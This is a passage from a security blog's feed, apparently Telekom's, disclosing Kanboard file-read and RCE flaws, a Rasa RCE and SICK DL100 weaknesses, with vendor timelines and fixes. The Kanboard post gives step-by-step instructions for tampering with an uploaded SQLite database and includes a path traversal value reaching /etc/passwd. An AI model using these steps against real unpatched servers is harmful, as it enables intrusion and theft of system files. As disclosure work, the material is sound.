        &lt;span class=&quot;k&quot;&gt;throw&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;ObjectStorageException&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;File not found: &apos;&lt;/span&gt;&lt;span class=&quot;mf&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$filename&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

    &lt;span class=&quot;nb&quot;&gt;readfile&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$filename&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The function retrieves the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$key&lt;/code&gt; parameter, which in this case is a relative path from the SQLite database, checks the file’s existence and returns its content. No checks - this smells like a arbitrary file read if we are able to modify the path successfully.&lt;/p&gt;

&lt;p&gt;Since we are certain that the application is vulnerable to an arbitrary file read, we immediately test it out:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;We download the database&lt;/li&gt;
  &lt;li&gt;Decompress it via &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;gzip -d db.sqlite.gz&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;Open it in a SQL browser and go to table &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;project_has_files&lt;/code&gt;.&lt;/li&gt;
  &lt;li&gt;For one of the already uploaded files, we modify the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;path&lt;/code&gt; to something we want to read &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;../../../../../../../etc/passwd&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;Commit our SQL changes and save the file&lt;/li&gt;
  &lt;li&gt;Compress it again with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;gzip db.sqlite&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;Upload it to the server&lt;/li&gt;
  &lt;li&gt;Download the modified file via the web ui&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;And what we get is:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/kanboard/passwd.png&quot; alt=&quot;/etc/passwd&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Hurray! We are able to read arbitrary files from the server - further a “referenced” file can be deleted (if Kanboard has sufficient permissions) via the web ui.
This vulnerability has been assigned CVE-2024-51747 - reported via &lt;a href=&quot;https://github.com/kanboard/kanboard/security/advisories/GHSA-78pf-vg56-5p8v&quot;&gt;GHSA-78pf-vg56-5p8v&lt;/a&gt;.&lt;/p&gt;

&lt;h5 id=&quot;code-exec&quot;&gt;code &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;exec&lt;/code&gt;&lt;/h5&gt;

&lt;p&gt;File reads are nice - but we prefer to have code execution on the target. So we still decided to look deeper.
When reviewing PHP code it’s always a good start to check for the known dangerous php functions assembled &lt;a href=&quot;https://gist.github.com/mccabe615/b0907514d34b2de088c4996933ea1720&quot;&gt;in this great collection&lt;/a&gt;.&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;ack &lt;span class=&quot;nt&quot;&gt;-i&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;system&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\s&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--php&lt;/span&gt;
ServiceProvider/LoggingProvider.php
42:  &lt;span class=&quot;nv&quot;&gt;$driver&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; new System&lt;span class=&quot;o&quot;&gt;()&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;ack &lt;span class=&quot;nt&quot;&gt;-i&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;shell_exec&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\s&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--php&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Unfortunately, we have no results except false positives in our source code, when we grepped for command execution functions.&lt;/p&gt;

&lt;p&gt;However, one result with a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;require&lt;/code&gt; statement looks interesting.&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;ack &lt;span class=&quot;nt&quot;&gt;-i&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;require&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\s&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--php&lt;/span&gt;
app/Core/Translator.php
176:            self::&lt;span class=&quot;nv&quot;&gt;$locales&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; array_merge&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;self::&lt;span class=&quot;nv&quot;&gt;$locales&lt;/span&gt;, require&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$filename&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;))&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;require&lt;/code&gt; is a PHP language statement to include other files, which leads directly to RCE, if the file is controllable.
Having a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$filename&lt;/code&gt; variable - that could be controllable by us - looks interesting.
Let’s see where &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$filename&lt;/code&gt; comes from and which value it has.
It is defined in &lt;a href=&quot;https://github.com/kanboard/kanboard/blob/v1.2.41/app/Core/Translator.php#L173&quot;&gt;Translator.php&lt;/a&gt; in the load() function.&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;static&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;load&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$language&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$path&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$path&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;===&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;nv&quot;&gt;$path&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;getDefaultFolder&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

    &lt;span class=&quot;nv&quot;&gt;$filename&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;implode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;DIRECTORY_SEPARATOR&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$path&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$language&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;translations.php&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;file_exists&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$filename&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$locales&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;array_merge&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$locales&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;require&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$filename&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;load()&lt;/code&gt; function seems to be called from &lt;a href=&quot;https://github.com/kanboard/kanboard/blob/v1.2.41/app/Model/LanguageModel.php#L214&quot;&gt;LanguageModel.php&lt;/a&gt;.&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;ack &lt;span class=&quot;nt&quot;&gt;-i&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;load&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\s&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--php&lt;/span&gt;
Model/LanguageModel.php
214:    Translator::load&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;-&amp;gt;getCurrentLanguage&lt;span class=&quot;o&quot;&gt;())&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;And it depends on &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;getCurrentLanguage()&lt;/code&gt; from the same class.&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;getCurrentLanguage&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;userSession&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;getLanguage&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;?:&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;configModel&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;application_language&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;en_US&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;cd&quot;&gt;/**
 * Load translations for the current language
 *
 * @access public
 */&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;loadCurrentLanguage&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;nc&quot;&gt;Translator&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;load&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;getCurrentLanguage&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;());&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Do you spot something fishy? Maybe not, since we haven’t explained it yet - but &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$this-&amp;gt;configModel-&amp;gt;get(&apos;application_language&apos;, &apos;en_US&apos;);&lt;/code&gt; reads a configuration value from the SQLite &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;settings&lt;/code&gt; table. In particular, it reads the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;application_language&lt;/code&gt; entry or defaults to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;en_US&lt;/code&gt;.
Since we already inspected all further handling of the the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;application_language&lt;/code&gt;  value we can conclude that this fields leads to a constrained RCE on the server!&lt;/p&gt;

&lt;p&gt;If we set &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;application_language&lt;/code&gt; to an arbitrary path via path traversal, the value will be used to construct the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$filename&lt;/code&gt; path, which we saw before. 
However, at the end of the path, the code adds a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;translations.php&lt;/code&gt;. Meaning, if we are able to write a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;translations.php&lt;/code&gt; file anywhere on the server, where Kanboard can read it and modify the SQLite database accordingly, then we achieve code execution because Kanboard includes this file.&lt;/p&gt;

&lt;p&gt;We tried to abuse this, by uploading a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;translations.php&lt;/code&gt; file via Kanboard’s file attachments function, but the files are not saved with their original filename, but with a hash instead. This leaves us unlucky to abuse it all-at-once :S&lt;/p&gt;

&lt;p&gt;This vulnerability has been assigned CVE-2024-51748 - reported via &lt;a href=&quot;https://github.com/kanboard/kanboard/security/advisories/GHSA-jvff-x577-j95p&quot;&gt;GHSA-jvff-x577-j95p&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Last but not least, after reporting all vulnerabilities we noticed on retesting that we are still logged in in our testing instance after multiple days. How can this be?&lt;/p&gt;

&lt;p&gt;It turns out that the session invalidation was not working properly, thus keeping sessions alive for an indefinite time.
This vulnerability has been assigned CVE-2024-55603 - reported via &lt;a href=&quot;https://github.com/kanboard/kanboard/security/advisories/GHSA-gv5c-8pxr-p484&quot;&gt;GHSA-gv5c-8pxr-p484&lt;/a&gt; with additional details.&lt;/p&gt;

&lt;p&gt;These findings once again show the danger of default credentials, giving initial access, which than can be used to exploit a system.
Also it shows, that even configuration data cannot be trusted - user controllable input must be properly sanitized in all cases.&lt;/p&gt;

&lt;hr /&gt;

&lt;p&gt;Timeline:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;2024-10-31:&lt;/strong&gt; Vulnerability &lt;a href=&quot;https://github.com/kanboard/kanboard/security/advisories/GHSA-78pf-vg56-5p8v&quot;&gt;CVE-2024-51747&lt;/a&gt; and &lt;a href=&quot;https://github.com/kanboard/kanboard/security/advisories/GHSA-jvff-x577-j95p&quot;&gt;CVE-2024-51748&lt;/a&gt; has been reported to the vendor.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;2024-11-03:&lt;/strong&gt; Vendor has reported that the vulnerabilities will be fixed in next release.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;2024-11-10:&lt;/strong&gt; Kanboard 1.2.42 has been released with both fixes.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;2024-11-18:&lt;/strong&gt; Vulnerability &lt;a href=&quot;https://github.com/kanboard/kanboard/security/advisories/GHSA-gv5c-8pxr-p484&quot;&gt;CVE-2024-55603&lt;/a&gt; has been reported to the vendor.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;2024-12-08:&lt;/strong&gt; Vendor has reported that the vulnerability will be fixed in next release.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;2024-12-18:&lt;/strong&gt; Kanboard 1.2.43 has been released with the fix.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;2025-05-08:&lt;/strong&gt; This blog post was published.&lt;/li&gt;
&lt;/ul&gt;
</content>
  </entry>
  
  <entry>
    <title>Rasa (un)authenticated Remote Code Execution via remote model loading (CVE-2024-49375)</title>
    <link href="https://github.security.telekom.com/2025/04/rasa-unauthenticated-rce-cve-2024-49375.html"/>
    <id>https://github.security.telekom.com/2025/04/rasa-unauthenticated-rce-cve-2024-49375.html</id>
    <updated>2025-04-01T00:00:00+00:00</updated>
    <summary type="html">During an internal penetration test a product was checked which uses Rasa to build a conversational AI. A mixture of penetration testing and source code analysis led to the discovery of an (un)authenticated Remote Code Execution.</summary>
    <content type="html">&lt;p&gt;During an internal penetration test a product was checked which uses &lt;a href=&quot;https://rasa.com/&quot;&gt;Rasa&lt;/a&gt; to build a conversational AI. A mixture of penetration testing and source code analysis led to the discovery of an (un)authenticated Remote Code Execution.&lt;!--more--&gt;&lt;/p&gt;

&lt;h3 id=&quot;tldr&quot;&gt;TL;DR&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Which versions are affected?&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;rasa (pip) &amp;lt;3.6.21&lt;/li&gt;
  &lt;li&gt;rasa-pro (pip) &amp;lt;3.10.12, &amp;lt;3.9.16, &amp;lt;3.8.18&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Are fixed versions available?&lt;/strong&gt;&lt;br /&gt;
Yes, namely:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;rasa (pip) 3.6.21&lt;/li&gt;
  &lt;li&gt;rasa-pro (pip) 3.10.12, 3.9.16, 3.8.18&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Does Rasa need to be patched?&lt;/strong&gt;&lt;br /&gt;
Yes and as fast as possible due to its severity (critical, 9.1/10, CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H). Additional information on the fix and the mitigation advice can be found at &lt;a href=&quot;https://github.com/RasaHQ/rasa-pro-security-advisories/security/advisories/GHSA-cpv4-ggrr-7j9v&quot;&gt;GitHub&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;The RCE vulnerability affects systems running Rasa as follows:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Default configuration: not affected by RCE&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://rasa.com/docs/reference/api/pro/rasa-pro-rest-api/&quot;&gt;HTTP API enabled&lt;/a&gt; (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;--enable-api&lt;/code&gt;): affected
    &lt;ul&gt;
      &lt;li&gt;No authentication method in use: &lt;strong&gt;unauthenticated RCE&lt;/strong&gt;&lt;/li&gt;
      &lt;li&gt;Token Based Auth: &lt;strong&gt;authenticated RCE&lt;/strong&gt;&lt;/li&gt;
      &lt;li&gt;JWT Based Auth: &lt;strong&gt;authenticated RCE&lt;/strong&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Is an exploit available?&lt;/strong&gt;&lt;br /&gt;
Yes, the exploit can be found at the end of the &lt;a href=&quot;/assets/advisories/Rasa_unauthenticated_RCE_CVE-2024-49375.pdf&quot;&gt;full advisory&lt;/a&gt; and &lt;a href=&quot;/assets/exploits/rasa/exploit.py&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Links:&lt;/strong&gt;&lt;br /&gt;
&lt;a href=&quot;https://github.com/RasaHQ/rasa-pro-security-advisories/security/advisories/GHSA-cpv4-ggrr-7j9v&quot;&gt;https://github.com/RasaHQ/rasa-pro-security-advisories/security/advisories/GHSA-cpv4-ggrr-7j9v&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/cve-2024-49375&quot;&gt;https://nvd.nist.gov/vuln/detail/cve-2024-49375&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Credits&lt;/strong&gt;&lt;br /&gt;
Julian Scheid (&lt;a href=&quot;mailto:julian.scheid@telekom.de&quot;&gt;julian.scheid@telekom.de&lt;/a&gt;)&lt;/p&gt;

&lt;h3 id=&quot;technical-deep-dive&quot;&gt;Technical deep dive&lt;/h3&gt;
&lt;p&gt;For those interested in taking a technical deep dive in how the vulnerability was discovered and how the exploit has been developed, reading the full advisory is highly recommended.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/assets/advisories/Rasa_unauthenticated_RCE_CVE-2024-49375.pdf&quot;&gt;View the full advisory&lt;/a&gt;&lt;/p&gt;
</content>
  </entry>
  
  <entry>
    <title>Multiple critical vulnerabilities in SICK DL100-2xxxxxxx Products</title>
    <link href="https://github.security.telekom.com/2025/03/multiple-vulnerabilities-in-sick-dl100.html"/>
    <id>https://github.security.telekom.com/2025/03/multiple-vulnerabilities-in-sick-dl100.html</id>
    <updated>2025-03-14T00:00:00+00:00</updated>
    <summary type="html">Several vulnerabilities were discovered during testing of a DL100 device.</summary>
    <content type="html">&lt;p&gt;Several vulnerabilities were discovered during testing of a DL100 device.&lt;!--more--&gt;&lt;/p&gt;

&lt;h3 id=&quot;details&quot;&gt;Details&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Product:&lt;/strong&gt; SICK DL100-2xxxxxxx&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Affected Version:&lt;/strong&gt; all firmware versions&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Vulnerability Type:&lt;/strong&gt; Download of Code Without Integrity Check (CWE-494), Cleartext Transmission of Sensitive Information (CWE-319) and Use of Weak Hash (CWE-328)&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Risk Level:&lt;/strong&gt; Critical&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Vendor URL:&lt;/strong&gt; https://www.sick.com/de/de/&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Vendor acknowledged vulnerability:&lt;/strong&gt; Yes&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Vendor Status:&lt;/strong&gt; Known Affected / Workaround&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;CVEs:&lt;/strong&gt; CVE-2025-27593, CVE-2025-27594, CVE-2025-27595&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The vulnerabilities were discovered during testing a device of type DL100.&lt;/p&gt;

&lt;h3 id=&quot;cve-2025-27593-download-of-code-without-integrity-check&quot;&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-27593&quot;&gt;CVE-2025-27593&lt;/a&gt;: Download of Code Without Integrity Check&lt;/h3&gt;

&lt;p&gt;The product can be used to distribute malicious code using SDD Device Drivers
due to missing download verification checks leading to code execution on target systems.&lt;/p&gt;

&lt;h3 id=&quot;cve-2025-27594-cleartext-transmission-of-sensitive-information&quot;&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-27594&quot;&gt;CVE-2025-27594&lt;/a&gt;: Cleartext Transmission of Sensitive Information&lt;/h3&gt;

&lt;p&gt;The device uses an unencrypted, proprietary protocol for communication, authentication and transmission of configuration data. An attacker can thereby intercept the authentication hash and use it to log into the device using a pass-the-hash attack.&lt;/p&gt;

&lt;h3 id=&quot;cve-2025-27595-use-of-weak-hash&quot;&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-27595&quot;&gt;CVE-2025-27595&lt;/a&gt;: Use of Weak Hash&lt;/h3&gt;

&lt;p&gt;The device uses a weak hashing algorithm to create the password hash. Hence, a matching password can be easily calculated by an attacker. This impacts the security and the integrity of the device.&lt;/p&gt;

&lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-27593&quot;&gt;CVE-2025-27593&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-27594&quot;&gt;CVE-2025-27594&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-27595&quot;&gt;CVE-2025-27595&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.sick.com/.well-known/csaf/white/2025/sca-2025-0004.pdf&quot;&gt;SICK Security Advisory&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;timeline&quot;&gt;Timeline&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;07.01.2025:&lt;/strong&gt; Vulnerability reported to the vendor.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;31.01.2025:&lt;/strong&gt; Vendor confirmed vulnerabilities.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;14.03.2025:&lt;/strong&gt; Vendor published a Security Advisory with a workaround.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;14.03.2025:&lt;/strong&gt; This blog post was published.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;credits&quot;&gt;Credits&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;Leonard Lewedei (&lt;a href=&quot;mailto:leonard.lewedei@telekom.de&quot;&gt;leonard.lewedei@telekom.de&lt;/a&gt;)&lt;/li&gt;
&lt;/ul&gt;
</content>
  </entry>
  
  <entry>
